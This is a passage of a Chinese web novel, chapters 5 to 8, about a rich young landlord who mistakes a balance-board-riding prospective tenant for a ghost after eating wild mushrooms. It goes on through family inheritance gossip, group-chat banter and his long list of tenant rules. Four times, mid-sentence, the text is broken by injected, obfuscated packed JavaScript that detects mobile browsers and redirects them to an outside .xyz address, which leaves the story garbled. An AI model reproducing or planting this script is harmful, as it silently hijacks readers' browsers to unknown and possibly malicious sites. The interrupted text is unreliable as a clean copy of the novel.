;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171289|180678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扰老爷子争一争。” “你看别的有钱人家,有几个没为了钱打得头破血流的?” “闹出人命来的也不是少数。” “相比起来,我们辛家的二三代只是无能,但做人的底线还在。” “哎,提‘私生子女’时别用‘我们’,我可没有私生子女。我清清白白就只有辛远这一个孩子。” “我虽然有一个私生子,但也就只有那一个,用不上‘们’。” “其实,我除辛迭之外的那两个孩子,只能说不是婚生子,但都是在我离婚后才有的,并非出轨产物,所以应该只能叫非婚生子女,不适合称呼私生子女那么难听。” “法律上,非婚生子女就等于私生子女。法盲。” “管好你自己吧,出轨男。” “说的好像你大嫂没出轨似的。我跟她那是从订婚时就约好了的各玩各。” 辛遇: “喂,在小辈面前谈这些你们还要脸吗? “我一点也不想知道你们那些乱七八糟的感情纠葛、利益交易。 “也没打算把你们那些非婚生子女当兄弟姐妹。 “我承认的兄弟姐妹就只有继承了爷爷遗产的那三个。” 第二代们打哈哈,承认自己的脸早就丢得所剩无几了。 至于当不当兄弟姐妹,那完全看缘分、他们肯定不强求。 辛遇将话题扯回正轨: “我总觉得,以爷爷的基因,我们家不至于整整两代人出不了一个成功人士。” 第二代们: “巧了嘛这不是,我们以前也总觉得我们身上留着老爷子的血,多少应该有点赚钱天赋。 “创业赔一次、连续赔十次,难道还能接连赔一百次吗?” “但结果你已经知道了。” “就是能。” “有些事情吧,不服不行。” “按老爷子自己的说法,他的成功中他自己的能耐顶多占一成功劳,剩下的九成都得归功于时代。” “就是那句话,‘只要站在风口上,猪都能飞起来’。” “我们这两代人的情况是:论时机,没遇到风口;论自身能力,可能还不如猪。” “给猪喂食,猪会长肉。” “给我们喂钱,我们自己都不知道究竟肥了谁。” “反正肯定没肥我们自己。” 辛遇: “……” 辛家非婚生子女、被老爷子排除在遗产名单之外的三代们,很羡慕四个继承了千万遗产的同辈婚生子女,但哪怕他们有一点闹的心,也分毫没有闹的胆子。 四个二代一方面惧怕老爷子的威严,另一方面屡屡赔本也让他们一见到老爷子就心虚气短。 受二代的影响,孙辈们对老爷子也有本能畏惧。 除非老爷子主动给,否则他们断不敢闹着要。 比如辛老爷子愿意主动亲近辛逸等四人,他们四个孙辈在老爷子面前就比那些基本见不到老爷子面的非婚生子女们放得开,能坦然接受老爷子给的遗产。 老爷子生前最喜欢的孙辈是辛逸,尤其喜欢看到她洒脱地将钱花在她自己身上。 虽然只出不进,但比不自量力投错资强太多。 也比攒下大笔家产眼睁睁看着儿女败来得舒心。 辛家的二代们最欣赏的遗产处理方式则是辛远的。 5. 05 ☆、也许是幻觉 躺着,完全不动老本,只吃本钱衍生的利息。 肉眼可见的稳当。 辛家二代们畅想着,以后等他们赔得没地方住了,辛远那栋楼好歹是个可以让他们稳定租房的地方。 可比住宾馆便宜多了。 他们相信,只要他们遵守辛远给租户制定的规矩,辛远就肯定会愿意优先把房子租给他们。 躺着好啊。 以他们家这两代人的能耐,这应该是对遗产最友好的做法了。 老爷子在天之灵一定能因此得到些安慰。 ……当然,也可能老爷子着实懒得继续看他们这些不肖儿孙,已经投胎去了。 辛远四人从老爷子那里继承来的遗产大头都是房产,现在的价格都在千万以上。 不过这价格主要是近十来年迅猛涨上去的,在老爷子购下这些房产时远不到这个价。 老爷子当时购买它们主要不是判断它们能升值,而是为了给不成器的儿孙们一个保底的退路。 老爷子认为,无论如何,只要还能有个固定住处,日子就还能稳下来、过下去。 因为怕部分房产出意外,老爷子还特意选了不同地段、不同类型的四种房。 保证除非天灾人祸大到把整个城市都毁了,否则儿孙们怎么也不至于风餐露宿。 辛家二代们: “父爱啊。” 辛家三代们: “爷爷要是不生儿育女,一辈子的生活舒心度起码能翻两番。” 辛远的房是小户型,属于一个由职工宿舍改建的小型小区。 该小区本身的配套设施不太行,但周边衣食住行教育医疗等很全面。 在二十多年前辛老爷子刚买下这栋楼时,这里相对市中心还颇有点穷酸感,但已经显现出基础衣食住行的方便。 之后随着城市的不断建设,这里逐渐有了繁华的模样,但又始终不到吵闹的程度,是个很适合生活的区域。 辛逸得到的是三栋别墅。 ——已经卖了一栋,现只剩两栋。 别墅位置距离市中心比较远,但距离一个景区很近。 周围风景优美,空气清新。 刚买下时这里还显得过于偏僻了些,那景区也约等于荒郊野岭。 实际上,那时代,国内绝大多数人收入都较低,旅游业相当不发达,根本就还不怎么有景区的概念。 但随着人民生活水平的提高,一个个景区被接连开发,那处别墅附近的景区也被一步步打造,逐渐小有名气。 等到老爷子分遗产时发现,那附近的建设已经完善到让辛逸孤身居住也不需要担心安全的程度了。 辛迭得到的是本市最早的电梯公寓之一中的八套房,每套约一百平方。 位于市中心,是四处房产中购买时价格最高的一处。 现在这附近发展得依然很好。 或者说,发展得太好了。 即使公寓做了比较好的隔音,依然经常有点吵。 不过相对的,这里也不愁没租户。 多得是人需要在这繁华地段租房。 哪怕这公寓的房型设计有点问题,是当年的流行,但不符合现在年轻人的需求,辛迭每月收入的房租也比辛远高。 毕竟辛迭对租户不像辛远那么挑剔,定下的房租自然按市场价,没有优惠,房子也没有空着的时候。 辛遇…… 如果不是他太能败家,本来辛遇那房产现在应该是四人中价值最高的,因为他遇到了拆迁。 哦,别误会,辛遇并非在拆迁之前就倒霉地把房卖了。 他是在拆迁时,选择了只拿一套房,剩余的全部拿钱…… 然后很有效率地把钱败到所剩无几。 只能说,幸好辛遇还有那么点理智给自己留了一套房,才没真把全部身家给败光。 视线回到辛远与岳矢初次见面的这一天。 辛远在看完王阿姨的信息后,反省了一会儿自己把幻觉当真的愚蠢思想,再坚定了一遍“世界是唯物的”这一客观真理。 接着,辛远点开今天为了一起吃火锅而建的“菌子火锅”云区群,问狐朋狗友们: “你们吃了菌子后,出现幻觉了吗? “我把一个踩平衡车的妹子先看成了在飘的女鬼。 “接着又以为自己看到她摘下头盖骨、露出没了大脑的空颅腔。” 狐朋狗友们: “嚯,这么刺激吗?” “哈哈哈,我刚就听说辛远你家小区门前闹出了平衡车装鬼事件,原来主角之一就是你啊? “听说你惨叫得特别凄厉? “要不是我当时正忙着跟一个小帅哥搭讪,且进展颇佳,说不定我也过去凑热闹了。 “可惜,错过了见证现场。” “有一说一,大晚上披散长发穿长裙踩平衡车,确实鬼魅。 “我有一次在一个路口遇到过这样的,也被吓了一跳。” “尤其辛远他们小区门口那条小路的路灯还经常不怎么亮。” “理解理解。” 辛远: “先别管我有没有被吓到了,我是问菌子致幻。” 今天的菌子不是火锅店自有的菜,是群里的君泗特意买来招待朋友们的。 为了吃这顿菌子,他们一群富二代专门跟火锅店老板保证吃出问题来他们绝对自己承担,肯定不会诬陷火锅店。 他们将保证过程进行了多角度录像发给老板,并多支付给了老板一份“防止出意外费”。 还对着老板拍马屁说: “我们主要是觉得你店的火锅味道特别好。” “美味的菌子就是要放入这么好味的火锅中才不显得浪费。” “我们自己做、去其他火锅店,都比不上你店的味道。” …… 那点马屁忽略不计,火锅店老板完全清楚自家的味道没好到那么鹤立鸡群,要不然他家也不会一直只是个街边小店。 不过由于这群人录下的视频看着足够详细诚恳,关键是给的额外费用足够多,火锅店老板总算是勉强同意了他们吃自带的菌子。 同意之后还全程让服务员盯着他们那一桌,随时准备好了叫救护车。 毕竟,如果有顾客吃着吃着倒下了,即使顾客本身不赖上他们,这事传出去也不好听。 流言传播的时候,很难仔细阐述吃的是店里食物还是自带食物。 更可能是囫囵说“就是在这家里吃中毒的”。 无辜的老板可不能让这种事情发生。 最终,辛远一桌人欢欢喜喜地吃完,并被火锅店老板欢欢喜喜地送出店。 到这一步,并没有出现任何疑似中毒的症状。 其实回到家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171290|180678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,辛远仔细回忆过,除开看到扯开头盖骨的那一幕不算,自己好像也没在其他地方看到幻觉。 所以那个头盖骨画面究竟是不是菌子效果,辛远是真不确定。 但想来想去,应该就只可能是菌子加酒的锅才对。 没别的解释了。 君泗体谅辛远刚刚受了惊吓、丢了脸,并没有对他的怀疑感到生气,而是一本正经在群里自证清白: “那一盆菌子全都是我找当地人给我精挑细选的。 “绝对兼顾了美味与安全。 “你们就算怀疑我的能力,也应该相信我的钱。 “重赏之下,必有专家。” 辛远: “这解释还真不能完全放心。 “当地人在鉴别菌子方面要是真能做到万无一失,他们当地医院处理菌子中毒的经验就不至于吊打全世界。” 其他狐朋狗友起哄: “没错,淹死的都是会水的。” “每天都有专家在翻车。” “那些夸海口说自己出马一定能让老板满意的家伙一般可不是真专家。” “他们的主业其实是卖货,只顺便为了装门面而学了点半吊子专业知识。” “我倒是接触过几个真正的菌子专家,他们在提菌子有毒没毒的问题时,反而非常谨慎。 “都是说,野外的菌子他们也很难保证分辨正确。 “千叮咛万嘱咐让绝对别自己去野外采菌子吃。 “哪怕自认为吃菌子经验丰富、见过的菌子品种成千上万也不行。 “都强调一定要去正规市场买。 “因为能拿到正规市场上的,才是真正经过了反复确认的常见无毒品种。 “哪怕偶尔出点纰漏,让毒菌子流入市场了,但因为数量少,吃下肚的毒量一般就低,便还来得及抢救。” “君泗你好像说过那盆菌子是你找人‘现采摘’的?” “所以是在哪里采摘的?” “反正在市场上买肯定不能叫‘现采摘’。” “哇,这么一说,我们今晚真的好危险。” 君泗: “吃之前倒是没见你们这么忧虑。 “跟我一起说服火锅店老板时,你们不都贼大胆地拍胸脯保证‘不会吃出问题、吃出问题也由我们自己承担’吗? “敢情你们做这种保证时都没过脑是吧?” 狐朋狗友们: “那不是气氛到那儿了,给你撑面子嘛。” “你那么兴致勃勃地要请我们吃‘绝顶美味’,我们总不能扫兴地说‘哎,不用了,我们怕中毒’。” “而且我们对你的金钱攻势确实挺信任的。” “不管你雇到的是真专家,还是主业卖货的假专家,总之他们肯定不会希望毒死你这个给钱大方的好买主,所以他们挑菌子时肯定会很小心。” “等等……君泗,你确定近期没有谁看你不顺眼、试图借菌子毒死你吗?” “以前可是有人试图开车撞死你的。” 君泗: “我一个废物富二代,家族里的边缘角色,首先跟谁都谈不上利益冲突,所以肯定没有人会为了利益谋杀我。 “这点你们没有异议吧?” 狐朋狗友们: “嗯嗯嗯。” “我们都是。” “定位精准。” 6. 06 ☆、传播 君泗: “其次,虽然我是脾气不好、得罪过一些人,甚至真的曾招来过杀身之祸。 “但近期来说,我沉迷美食,没招猫逗狗,应该没有结怨到那么大的。” 辛远: “从我们开始吃菌子算起,到现在差不多三个小时了。 “如果菌子真有毒,早该发作。 “所以除了我之外,你们真的都没有出现幻觉吗?” 之前说自己已听闻辛远撞鬼惨叫事件的米笙堇: “感觉偶遇的小帅哥看我的双眼中满是星星,这个算菌子致幻效果吗?” 其他狐朋狗友: “那只是你惯常的自我感觉过分良好。” “不要嫁祸菌子。” 米笙堇: “但今天那双眼中的星辰比平常的更亮。” 其他狐朋狗友: “那就是你的自恋程度又升级了。” “你自恋归自恋,可别过分骚扰良家妇男。” 米笙堇: “谁过分骚扰了? “我在路边搭个讪,对方有意就多聊几句,对方反感他直接走掉就完了。 “我可从来没有拦着谁不让走。 “好吧,既然你们都认为是我又自作多情,那我接受你们的判断,所以我没有出现菌子幻觉。” 其他狐朋狗友则纷纷表示: “硬要说的话,我今天抬头看月亮时,觉得它有一种妖异的美感,可能也算是一种幻觉?” “我的话,觉得我家老头的头发,好像浓密了一点点,算幻觉吗?” …… 看他们乱七八糟牵强附会地扯出一些“幻觉”,辛远剖析自己今晚的经历: “所以那些菌子可能有一点点轻微的毒,正常情况下,完全不会对人造成影响。 “但因为我还喝了些酒,我的酒量又比你们都差。 “于是在被长发长裙平衡车的漂移效果吓了一跳后,那点菌子毒素与酒精混合激化,便让我产生了一瞬间格外强烈的幻觉。 “虽然当时我觉得她扯开头盖骨以及低头给我看空颅腔的那一幕十分漫长,但考虑到附近人来人往,我与她真正独处的时间很难超过一分钟。 “可能就只十来秒。 “具体到我看空颅腔的那一幕,也许只一两秒。 “所以就只是一两秒的幻觉。 “当我惨叫出声、冒出一身冷汗后,血液中的酒精与菌子毒素都蒸发,那幻觉也就完全消失。 “所以我才会完全想不起来她是怎么把扯开的头盖骨又安装回去的。 “因为根本就不存在‘安回去’那一幕。” 狐朋狗友们并不在意,只“嗯嗯嗯”地敷衍表达一下“没意见”“大概就是这么回事吧”。 如果辛远说的是他遭遇“有车快速撞向他”或者“有人拿刀子捅向他”,大家可能还会慎重点对待。 哪怕真有可能是幻觉,他们也会善良地建议辛远雇一两周保镖以防万一。 或者不怀好意地建议辛远下次勇敢点、冲上去与歹徒搏斗,争取在正当防卫的框架内弄死对方。 但“扯开头盖骨”“颅腔内空空荡荡”这太与现实无关了。 自然也就不需要现实化的应对手段。 随便当故事听一听便可以略过。 辛远自己也是这么想的。 于是分析完毕、将自己说服了后,辛远关掉群,回归自己正常的晚间节奏。 先回复王阿姨的消息: “不好意思刚刚才看到。 “不过我正好在路上遇到岳矢了,也加了她好友。 “当时的情况有点乱,还没来得及跟她谈租房细节,看明天她有没有空线上谈吧。 “至于具体看房,她定个时间,我都能配合。 “哦,这个不用阿姨你传话,我自己跟她说就是了。” 王阿姨大概正闲着,立刻回复: “‘情况有点乱’是指你以为撞鬼的那事吧?” 住户相互间过分熟悉的小区就是这一点最不好,谁出点什么事,不用等第二天,一小时内就能人尽皆知。 辛远无奈,不过也没多少不好意思的情绪。 因为父母过分不靠谱,所以辛远刚上初中时就独自搬到了这个小区住。 当时这栋楼还不在辛远名下,不过老爷子的遗产分配已有了大体轮廓,所以让他们四人分别到预定要给他们的房产中住一住,看是否合心意。 不合心意的话,可以商量着交换。 这栋楼的房租也是从辛远住进来后就归了他。 不过之后好几年出租房屋的具体事情还是老爷子指派人在做。 一直到遗产正式分配完毕,这栋楼的全部事情才交到了辛远手上。 自搬进这栋楼起,辛远就知道这里将来很可能会属于他、他很可能会长期住在这里。 所以从一开始辛远便跟这小区的其他住户,尤其是特别活跃的那些打好了关系。 可以说,小区里的不少老邻居是看着辛远长大的。 中高考前,邻居们还专门轮流给辛远做饭。 高考结束填报大学志愿时,邻居们也积极帮辛远收集资料。 这些邻居可不图辛远什么。 当时他们并不知道辛远会继承这栋楼,只以为他和这栋楼的其他住户一样是在这里租房的。 ——这里距离辛远的学校近,租在这里很方便。 另外,即使他们当时就知道辛远可能会成为一个包租公,他们也很可能不会太放在心上。 因为后来当辛远告知他们他已继承了这栋楼时,这些老邻居真实表现出的只是:稍微有点羡慕嫉妒,但大体并不影响他们对待辛远的态度。 毕竟,住在这小区里的他们又不需要向辛远买房或租房,而这老房子,又着实没有光鲜亮丽之感,很难让人觉得这是多了不起的资产。 这些老邻居当时就单纯是觉得辛远一个小孩独居,哪怕能看出来他手头有大把零花钱,但也怪可怜的。 天天吃学校食堂、下馆子,发烧了都是独自去医院看病拿药,哪有个过日子的样子。 这孩子的爹妈忒不像样。 养小孩怎么能只给钱? 辛远也感觉这些老邻居比他那对亲爹妈更可靠。 当然与他的亲爷爷比还是很有差距的。 在长辈面前丢些脸,辛远觉得不是大事。 反正丢过的脸多了去了,不差这一桩两桩的。 王阿姨提起了,辛远也就实话实话: “对,就是那事。 “那个,你知道被我误认作鬼的人就是岳矢吗?” 王阿姨: “哦哟,你不说我还真不知道这个。 “这附近认识你的人多,可没人认识她的。 “不过等那姑娘搬来这里住后,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171291|180678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事可能会被再提起。 “你可别只因为这个就不租房给她啊。 “老赵说那姑娘挺好的,文文静静,不会发出噪音,把之前租的那个房子收拾得干干净净,是个好租户。 “对了,我想起来我好像是听老赵说过,岳矢挺喜欢踩着个平衡车上街的。 “老赵还说,看着挺危险,不能理解为什么好多年轻人都喜欢那个东西。 “要是让我们踩上去,我们非得担心摔断老胳膊老腿儿。 “没想到这危险里还包括被误认成鬼呀。” 辛远: “正常倒也不会误会…… “既然说到了这里,我就必须再批评一下我们小区门口那条路上的路灯了。 “昏暗成那个样子还不修吗?” 王阿姨打哈哈: “在排队呢。 “你也知道的,社区的事情很多,只能一件一件处理嘛。 “你放心,肯定会修的。 “再晚也不会把这事拖到明年。” 辛远: “现在才八月……” 王阿姨: “我这边有点事,不跟你聊了啊。 “你今天受惊了,早点休息。 “别又熬夜打游戏什么的。” 辛远退出聊天界面,只能自己吐槽: “这个时间点,你能有什么事? “此时此刻正常来说你都应该已经入睡了吧? “是不是因为听说了我的热闹才临时延后入睡的? “等等,也许王阿姨现在确实另有事,比如在他们婆婆妈妈群里议论我今天的撞鬼惨叫事迹? “……” 辛远做了几秒钟心理准备,然后点开他们小区的大群,果然看到有人在说他这事。 这些人并无恶意,最开始只是在询问、解释为什么会出现惨嚎。 知情人郑重声明,附近没有发生任何人身伤害事故,各位住户完全不需要担心安全问题。 为支撑此观点,有人发出证据视频。 就是辛远对着民警说岳矢扯开头盖骨的那一幕。 因为光线不好,拍视频的人手还有点抖,所以人脸基本看不清,连打码的事都省了,但声音熟人还是能听出来的。 就是辛远的。 然后群里有不少人表达了“踩平衡车就不要穿长裙”“即使非要穿长裙,也请把长发扎起来、别披散着”等强烈建议。 并感叹: “瞧瞧把个大小伙子吓的。” 也有看过现场的人提供更多信息: “这视频不全,后面可以发现,应该是辛远在和他女朋友闹别扭。” 于是便有人接着说: “啊,辛远交女朋友了?” “他那么大个人了,又有钱有闲的,交了也很正常吧。” “不是,辛远本来也交过女朋友啊。还不只一个呢。” “喂,你这说的,好像辛远同时交了几个女朋友似的。” “好好好,我表达严谨点,辛远他是在与前一个女朋友分手后,才与下一个交往的…… “不对,辛远究竟有没有同时交往多人我也不确定啊。 “我只能确定,在不同的时间,我看到过辛远与不同的女性比较亲密地走在一起。” “我晚上看到辛远和他的几个朋友在吃火锅,还喝酒。 “就在旁边那条街上的那个老马火锅店里。” 7. 07 ☆、租户基本要求 然后有人表示自己发现了真相: “以辛远那酒量,我觉得他可能不是在跟女朋友闹别扭,也许他是喝醉了真以为自己看到了掀开头盖骨。” “我爸有一次喝醉了,抱着我家猫非喊我的名字,还说‘儿啊,你怎么留长发了?咱们家可不兴非主流啊’。 “至今不知道这老头子那天究竟把我们家的那只短毛猫看成了什么造型。” “你是以为你爸我不在群里吗?” “爸你不是一个小时前就号称睡下了吗?” 接着群内转入“哈哈哈”节凑,有些人开始分享自己曾经的“撞鬼”“喝醉”经历。 也有些人发出正气凛然的标语、图片,坚定反对怪力乱神以及过量饮酒。 大晚上的,小区大群倒是难得这么活跃。 辛远沉默地翻完群内记录,终于决定放过自己,不去想他在老邻居们记忆中的黑历史又更多了一笔。 反正真的不差这一笔两笔的。 毕竟不少老邻居可是连他的中二期都见证了的。 看了眼新加的好友“岳矢”,辛远到底还没能完全忘记她露出空颅腔那一幕的冲击感。 即使辛远现在已经完全相信那只是自己的幻觉,但心理阴影实在无法立刻消失。 所以暂时不想与岳矢发生任何交流。 辛远: “也许睡一觉起来就能彻底当作恶梦了? “明天再联系吧。 “正好岳矢也体贴地没有催促。 “唉,今天她的受惊应该不比我小,下次见面我得郑重些向她道歉才行。” 想到道歉,辛远看向岳矢以“道歉礼物”的名义送给他的特色脑花。 现在这脑花已经凉了。 辛远摸了摸自己的胃部。 明明晚上吃火锅是吃到了撑,但不知道是不是惊吓过度的原因,这才吃完没几小时竟就有些饿了。 辛远把特色脑花放入微波炉中加热,然后吃光。 味道是一如既往的好。 虽然大晚上吃脑花,还是这种重油重盐的加工方式,非常不利于健康。 但…… 辛远: “今天我受惊了,需要安抚嘛。 “养生可以明天再重启。” 洗个热水澡,让身体彻底放松后,辛远躺到床上,越发感觉让他惨叫的那一幕变得遥远、虚幻。 直至好像那声惨叫也不是他自己发出的。 ……不,看看小区群,这个惨叫黑历史是无法抹去了,辛远再次劝自己接受这份现实。 在彻底睡着前,辛远的最后一个念头是:向社区申请在那条小路上安装监控吧。 也许是因为睡前已经彻底说服了自己,所以这一晚上辛远并没有因为才受惊过而做恶梦或时不时莫名惊醒。 他睡得很踏实。 第二天醒来时神清气爽。 甚至立刻想起了睡前的小愿望。 马上给王阿姨发消息申请。 他们这一片,每个小区的门口都有监控,旁边几条路的路口也都有。 唯独小区门口的那条小路缺个整体监控。 王阿姨: “用不着吧? “四个小区门口的监控加起来差不多就能覆盖整条小路了。 “本来也不是多长多宽的路。” 辛远: “昨天我惨叫的事发地点就在监控覆盖区域之外。 “应该是在之外。 “我待会儿再去确认看看。” 王阿姨: “怎么,一觉醒来,你还是觉得那个岳矢揭开了她的头盖骨?” 辛远: “不是,我已经确定那是我喝酒加吃菌子造成的幻觉了。 “不过我想知道当时的实际情况是什么。 “这样之后我向岳矢道歉时才能说得更详细,显得更有诚意些。 “那两个可能拍到现场的小区应该会同意给我看监控吧?” 王阿姨: “你只是想看拍到小区外路上的那部分,应该没什么问题。 “他们要是不同意,你来找我,我陪你去。” 辛远: “所以小路安监控那事?” 王阿姨: “行行行,我去申请。 “但我觉得批准的可能性不大。 “因为这真没多大用。” 辛远: “路灯我要是自己掏钱修,其他人肯定不会有什么意见,还会跟我道谢。 “但我要是自己掏钱安监控,我就怕有些人怀疑我别有所图,把我扭送派出所。” 王阿姨: “别动不动就想着自己掏钱。 “社区有经费。 “公共设施该补充的、修理的,迟早肯定会弄好。 “但你要给人家走流程的时间嘛。 “再说那灯也还没彻底坏。 “现在那亮度,至少比我家夜里使用的小夜灯强。” 辛远:能这么比吗? 辛远没法跟长辈斤斤计较,随便收拾了下吃了早饭就去找监控。 并不意外的,没有。 最相关的只有岳矢踩着平衡车飘过的镜头。 哪怕辛远现在对岳矢有了愧疚之心,但在看到那段监控记录时,辛远还是得说,此人的女鬼气质实在太足了。 要是事先不知情,非得以为这一段画面是恐怖电影镜头。 监控拍到这一段画面的那个小区的门卫刘叔也说: “怪不得你昨晚被吓到惨叫。 “要是我大晚上独自走在路上与她相遇,我也得怕。 “哎,反正没拍到她脸,我能把这段分享到群里吗?” 辛远: “先征求当事人意见吧。 “要是她很介意被当成女鬼,就不好了。 “尤其她可能要租我的房子,以后就住在这儿。 “要是她知道附近的人胡乱传播她的鬼片,她跟我们都会尴尬。” 刘叔: “所以大家在群里传播你向民警举报她揭开头盖骨的视频,你尴尬吗? “我看传视频的人好像是不尴尬的。” 辛远: “……那视频已经传到你们小区的群了吗?” 刘叔: “咳,你知道的,要不是云区群的容量不支持,早就有人想建个大群把我们四个小区的所有人都装进去。 “而且,不是‘传到我们小区’。 “实际上,那视频是从我们小区群传到你们小区群的。 “不过你也不用太尴尬,那视频拍得足够糊,只有本来就认识你的人才能认出那是你。” 辛远: “……算了。我没什么关系,就是喝醉酒说胡话而已。” 刘叔: “希望这位平衡车女……士跟你一样好说话。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171292|180678||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到中午时,辛远一边吃午饭,一边终于调整好了心情,开始向岳矢发出云区消息: “你好,王阿姨告诉我我才知道,你是赵阿姨介绍来想找我租房的是吧? “租我房的基本要求不知道赵阿姨有没有告诉你。 “不管有没有吧,我这里发你一份完整的最新版要求。 “你先看看,能接受我们再接着谈。 “昨天不好意思啊,我喝了点酒,还吃了菌子,好像产生幻觉了。 “我平常不容易鬼哭狼嚎的,也不会轻易一惊一乍。 “精神方面也很正常。王阿姨赵阿姨都能给我作证。 “租房要求上的那些条款我本人其实基本都能做到。” 此时是午休时间,身处公司的岳矢已吃完饭,距离下午上班还有半个多小时,她正可以光明正大地玩手机。 岳矢点开辛远发来的《租户基本要求》,看到里面关于清洁、音量等的条款。 包括: “每天08:00之前、21:00之后,禁止在小区内发出比正常说话更大的声音。 “看视频时也请注意调整音量。 “08:00到21:00之间允许偶尔喧闹,但禁止在小区内出现持续性的放声高歌、练习乐器等举动。 “如有练习乐器的客观需求,请外出前往合适的场地进行。 “屋内及楼道内禁止进行蹦跳、奔跑、打球等剧烈活动。 “小区院子内可以适当跑跳,但注意不要影响到其他人进出。 “天台仅08:00到18:00之间开放。 “禁止在天台打篮球、踢足球。 “禁止在天台跳广场舞。不放音乐也不行。 “可以在天台及自家室内养花种菜,但必须处理好蚊虫及气味问题。 “禁止将‘不施农家肥菜长不好’作为让花草散发难闻气味的理由。 “十二岁以下孩童在无监护人陪同的情况下,禁止在天台停留。 “如与小区内其他住户发生矛盾,请理性商量。 “在小区内商量不好就去派出所商量。 “禁止随意骂人。 “更禁止随意打人。 “周围派出所位置见附录。 “只要走出屋子就必须衣着完整。 “出门时可以穿睡衣,但禁止只穿一条裤衩,更禁止裸奔。 “禁止将‘洗澡到一半停水停电了’作为出门裸奔的理由。 “只有不裸奔就会死、就会被犯法才算理由。 “真要遇到难以解决的无法穿上衣服的急事,同时手机又用不了,可以站在阳台上吼。 “这栋楼隔音一般,房东住四楼,哪层楼的住户大吼房东都能听见。 “房东手机从不关机,但除非是刻不容缓的紧急事,否则尽量别打电话,尽量使用云区留言。 “留言后房东二十四小时内一定会回复。 “禁止用可以二十四小时之后再解决的事情冒充刻不容缓的紧急事不停地给房东打电话。 “请维持屋内及门口楼道处的清洁。 “禁止出现能飘出房门的明显异味。 “易腐败垃圾,例如果皮、骨头、菜叶等,必须当天扔到小区门口的大垃圾桶中,禁止放在屋内或楼道或小区大垃圾桶之外的其他地方过夜。 “两周必须至少做一次大扫除。 “屋内地板、墙面及大型家具上禁止出现大片积灰、油渍。” 8. 08 ☆、都能接受 《要求》中还写道: “窗户不用自行清洁,租户每两个月可联系一次房东指定的保洁,让保洁在租户方便的时间上门擦洗,这笔费用由房东承担。 “如两个月内需要更多的清洁窗户服务,或家中大扫除也想交给保洁,费用由租户自行支付。 “也可以找房东统一联系保洁,费用依然由租户自行支付,但可打九折。 “可以养小型宠物,但必须保证清洁。 “禁止养大型犬。 “如果养小型犬,出门时必须牵绳,且带嘴套。 “任何情况下都禁止出现‘我家狗不会咬人’的辩解。 “如果养猫,请及时绝育,禁止出现发情期嚎叫。 “猫屎气味也属于‘明显异味’的一种,请及时妥善处理。 “禁止饲养蛇、蜥蜴等容易引起多数人不适的宠物。 “水电气均为一户一表,租户请自行按实际用量交费。 “具体交费渠道见附录,有问题请直接拨打附录中的电话。 “水电气的事别找房东,房东遇到相关事情也只能打附录电话。 “每套房内已安装有基础宽带。 “如果直接使用基础宽带,不用另外支付网费。 “如果认为基础宽带网速太慢想升级,请自行前往营业厅办理。由此增加的网费也请自行支付。 “这事也别找房东,房东只管保证基础宽带能用。 “周边营业厅地址见附录。 “如果发现蟑螂及老鼠的痕迹,请及时处理。可找房东免费领取蟑螂药和捕鼠笼。 “如果对房东提供的工具不满意、想要其他工具,请自行付费购买,房东不报账。 “捕鼠笼抓到老鼠、蟑螂躺尸地板,如不敢自行处理,可找房东。 “如遇到白额高脚蛛,无论死活,也可找房东。 “禁止从其他地方找来蟑螂老鼠大蜘蛛调戏房东。 “请加入‘辛远租户群’(以下简称‘租户群’),如有停水停电停气断网等消息,房东会在群内通知。 “也可加入小区大群,那里面的消息通知更全面及时。 “注意,房东不会在任何群内让租户支付房租。 “房租相关的事情房东一律会与租户一对一私聊,且偏好线下面对面处理。 “如租户群内有谁要求转账,大概率是诈骗,请警惕。 “转账前请务必确认转账对象。这条不限于支付房租。 “严禁以‘开玩笑’为理由戏弄他人。 “所有玩笑,只要被开玩笑者生气了,开玩笑者就必须立刻道歉。 “严禁对被开玩笑者说‘你怎么这么小气’‘怎么这么玩不起’这类的言语。 “每份租房合同有效期为三十天。 “合同到期时,房东及租户均可无条件拒绝续约。 “每次签合同的当时支付三十天房租。 